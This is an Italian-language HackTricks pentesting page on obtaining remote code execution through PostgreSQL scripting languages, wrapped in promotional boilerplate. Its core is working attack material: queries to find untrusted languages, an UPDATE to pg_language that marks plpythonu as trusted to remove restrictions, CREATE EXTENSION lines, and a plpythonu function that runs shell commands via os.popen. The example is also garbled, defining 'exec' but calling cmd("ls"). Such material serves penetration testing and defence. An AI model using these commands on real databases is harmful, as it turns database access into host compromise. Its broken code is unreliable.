RCE con i linguaggi PostgreSQL
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Linguaggi PostgreSQL
Il database PostgreSQL a cui hai accesso potrebbe avere diversi linguaggi di scripting installati che potresti sfruttare per eseguire codice arbitrario.
Puoi farli funzionare:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
La maggior parte dei linguaggi di scripting che puoi installare in PostgreSQL ha 2 varianti: la fidata e l'non fidata. L'non fidata avrà un nome che termina in "u" e sarà la versione che ti permetterà di eseguire codice e utilizzare altre funzioni interessanti. Questi sono linguaggi che, se installati, sono interessanti:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (qualsiasi altro linguaggio di programmazione che utilizza una versione non sicura)
warning
Se scopri che un linguaggio interessante è installato ma non fidato da PostgreSQL (lanpltrusted
è false
) puoi provare a fidarlo con la seguente riga in modo che non vengano applicate restrizioni da PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Per controllare i tuoi permessi sulla tabella pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Se non vedi un linguaggio, puoi provare a caricarlo con (devi essere superadmin):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Nota che è possibile compilare le versioni sicure come "non sicure". Controlla questo per esempio. Quindi vale sempre la pena provare se puoi eseguire codice anche se trovi installata solo la fidata.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Controlla la seguente pagina:
C
Controlla la seguente pagina:
RCE with PostgreSQL Extensions
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.